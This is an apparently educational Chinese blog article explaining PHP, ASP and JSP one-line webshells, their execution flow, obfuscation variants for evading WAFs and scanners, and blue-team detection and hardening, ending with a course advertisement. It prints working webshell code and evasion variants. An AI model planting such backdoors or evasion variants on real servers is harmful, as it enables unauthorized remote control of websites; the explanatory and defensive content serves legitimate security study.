一句话木马原理剖析,看懂 Web 后门怎么工作
摘要:一句话木马是 Web 安全里最经典的 Web 后门,在渗透测试、护网演练中高频出现。很多人只会用工具连接一句话,却不理解底层执行逻辑。本文从基础原理入手,拆解 PHP 一句话木马执行流程,分析变形、绕过思路,同时讲解蓝队检测查杀方法,适合 Web 安全入门学习。
法律声明
- 本文内容仅作为网络安全技术科普、安全防御研究、授权红蓝演练、应急响应学习用途,旨在帮助安全从业人员理解 Web 后门技术原理,学习防御、检测、查杀 Webshell 后门的相关知识。
- 本文提及的脚本、攻防技术,仅允许在拥有完整书面授权的本地靶场、授权测试环境中使用。依据《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国数据安全法》《计算机信息系统安全保护条例》,未经资产所有人书面许可,上传 Web 后门、执行未授权命令、控制网站服务器等操作属于违法犯罪行为。
- 任何个人或组织不得将本文内容用于非法网络攻击、未授权探测、破坏计算机信息系统等违法活动。
- 本文所展示案例,均为攻防原理演示,不代表鼓励实施攻击行为。阅读本文,代表知悉相关法律规定。
一、什么是一句话木马
一句话木马,简称一句话,属于 Webshell 的一种。代码极其简短,通常只有一行代码,上传到 Web 服务器后,攻击者可以使用蚁剑、菜刀、冰蝎等客户端工具连接,执行系统命令、读写文件、上传下载文件、操作数据库,从而控制网站服务器。
一句话木马本质是服务端动态脚本代码(PHP/JSP/ASP),接收前端传入的参数,交给脚本引擎执行,实现远程代码执行。
最经典的 PHP 一句话:
<?php @eval($_POST['cmd']);?>
很多初学者第一眼看到这段代码不知道它是怎么工作的,下面逐步拆解。
二、基础 PHP 一句话逐行拆解
<?php @eval($_POST['cmd']);?>
<?php ?>:PHP 脚本标记,标记中间内容交给 PHP 解释器解析执行。@:错误抑制符。作用是屏蔽代码执行时抛出的报错信息,避免网站页面直接爆出错误,隐藏后门痕迹。eval():PHP 核心危险函数。将传入的字符串当做 PHP 代码来执行,这是一句话木马的核心。
重点:eval 执行的是 PHP 代码,不是系统命令。如果想执行操作系统命令,需要传入
system()、exec()等函数。
$_POST['cmd']:PHP 超全局变量,接收 POST 请求中名称为cmd的参数值。攻击者通过工具 POST 提交数据,数据赋值给eval。
完整执行流程
- 攻击者将
<?php @eval($_POST['cmd']);?>上传到网站目录,文件命名为 shell.php; - 使用蚁剑,填写地址
http://xxx.com/shell.php,连接密码填写cmd; - 蚁剑在后台发起 POST 请求,向
cmd参数传入一段 PHP 代码; - 服务器接收 POST 数据,
$_POST['cmd']拿到传入的字符串; - eval 函数把字符串解析成 PHP 代码并执行;
- 执行结果输出,回传给蚁剑客户端,我们就能看到服务器信息、文件列表。
举例:蚁剑 POST 提交
cmd=system('whoami');
服务端代码等价执行:eval("system('whoami');");,调用 system 函数执行系统 whoami 命令。
三、其他语言一句话简单介绍
ASP 一句话
<%eval request("cmd")%>
原理:request("cmd")获取传入参数,eval 执行脚本代码,老的 Windows+IIS 站点经常出现。
JSP 一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
JSP 和 PHP 不同,这里直接调用 Java Runtime 执行操作系统命令,不需要 eval。接收 GET 参数 cmd,调用系统 exec 执行命令。
注意:JSP 一句话的变形种类更多,Spring 环境还存在很多内存马变种。
四、一句话木马常见变形与绕过思路
原始一句话eval($_POST['cmd'])特征非常明显,WAF、杀毒软件、Web 查杀工具很容易识别,所以红队经常做变形,规避特征匹配。
4.1 字符串拼接变形
<?php $a="e";$b="val";$c=$a.$b;$c($_POST['cmd']);?>
先拆分eval单词,拼接之后再调用函数。静态扫描匹配完整eval字符串时,就会失效。
4.2 变量覆盖、回调函数变形
assert()也是常用危险函数,PHP 低版本中 assert 可以执行代码:
<?php @assert($_POST['cmd']);?>
重要提示:PHP7 之后,assert 不再支持字符串代码执行,这种写法失效。
4.3 加密 / 编码一句话(base64)
<?php @eval(base64_decode($_POST['cmd']));?>
客户端传入 base64 编码后的字符串,服务端先解码,再交给 eval 执行。目的是避免明文恶意函数被 WAF 拦截。
4.4 无特征隐藏一句话
把后门嵌入图片、注释,或者利用数组、回调函数、动态函数调用,脱离 eval/assert 关键字,提升查杀难度。
这类变形也是护网期间蓝队排查的难点。
五、eval 和 system 的区别(新手极易混淆)
eval():执行PHP 脚本代码,属于 PHP 语言层面;可以调用 system、文件读写等各类 PHP 函数。system():执行操作系统命令,直接调用服务器操作系统的命令行,返回命令输出结果。
一句话核心是 eval,system 只是 eval 内部可以调用的其中一个函数。
误区纠正:一句话木马不是直接接收系统命令,是接收 PHP 代码,再由 PHP 代码调用系统命令。
六、一句话木马的优缺点
✅ 优点:
- 代码极短,方便上传;
- 通用性强,蚁剑、菜刀、冰蝎等工具一键连接;
- 功能强大,文件管理、数据库操作、命令执行全都支持。
❌ 缺点:
- 原始版本特征明显,Web 查杀、WAF 很容易识别;
- 依赖危险函数,如果 php.ini 禁用 eval、assert,后门直接失效;
- 流量明文传输,流量审计设备能捕获提交的代码内容。
补充:冰蝎、哥斯拉这类加密型 Webshell,会做流量加密,不再是简单的一句话,属于一句话的进阶版本。
七、蓝队检测与查杀思路
7.1 静态代码扫描
扫描网站目录,检索危险关键字:eval、assert、base64_decode、create_function 等,重点查找网站上传目录、缓存目录、图片文件夹。
注意:很多攻击者会把一句话伪装在图片文件内,配合文件包含漏洞使用。
7.2 流量检测
监控 Web 访问日志,查看 POST 请求,检查异常参数,检测提交的代码片段;
观察异常访问路径:图片后缀文件(jpg/png)出现 POST 请求,大概率是图片马。
7.3 日志审计
查看 Nginx/Apache/IIS 访问日志,查找陌生 IP 访问上传目录、异常 POST 请求。
7.4 配置层面防御
- php.ini 禁用危险函数:eval、assert、system、exec、passthru 等;
- 限制上传目录的脚本执行权限,上传文件夹禁止解析 php;
- 开启 WAF,拦截包含恶意函数的请求;
- 文件上传校验文件头、后缀,严格限制可上传文件类型。
八、一句话木马和图片马的关系
图片马 = 图片 + 一句话木马。
攻击者将一句话写进图片,后缀改为 jpg 上传。单独访问图片时只会展示图片,不会执行代码;必须搭配文件包含漏洞,服务器把图片当做 PHP 脚本解析,一句话代码才会执行。
很多新手误以为上传图片马直接就能用,这是常见误区,图片马本身不能独立执行。
九、总结
一句话木马的核心原理:接收外部输入参数,通过 eval 这类动态代码执行函数,将输入字符串当做脚本代码执行。它是 Web 后门入门最基础的知识点,也是 Web 安全面试、护网排查的高频考点。
红队利用一句话快速拿下网站权限;蓝队需要看懂它的执行原理,理解特征,才能有效查杀、防御 Web 后门。
学习一句话,不能只停留在复制代码、用工具连接,只有吃透底层执行逻辑,才能看懂各种变形绕过手段。
免责声明
- 本文所提供全部技术内容,仅用于网络安全防御学习、授权安全测试、安全应急研究,作者不对任何个人或组织利用本文内容产生的行为承担任何法律责任。
- 读者自行使用文中所有脚本、技术所造成的一切损失、法律后果,全部由读者本人独立承担。
- 本文力求内容准确,但不保证文中所有技术、代码不存在疏漏,因操作失误造成的服务器损坏、数据丢失,作者不承担任何赔偿责任。
- 严禁将本文内容用于任何未授权的网站上传、Web 入侵、破坏活动,一旦发生违法行为,相关责任由实施者自行承担。
- 如不同意本免责条款,请立即关闭本文,停止阅读和学习。
最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

273



被折叠的 条评论
为什么被折叠?



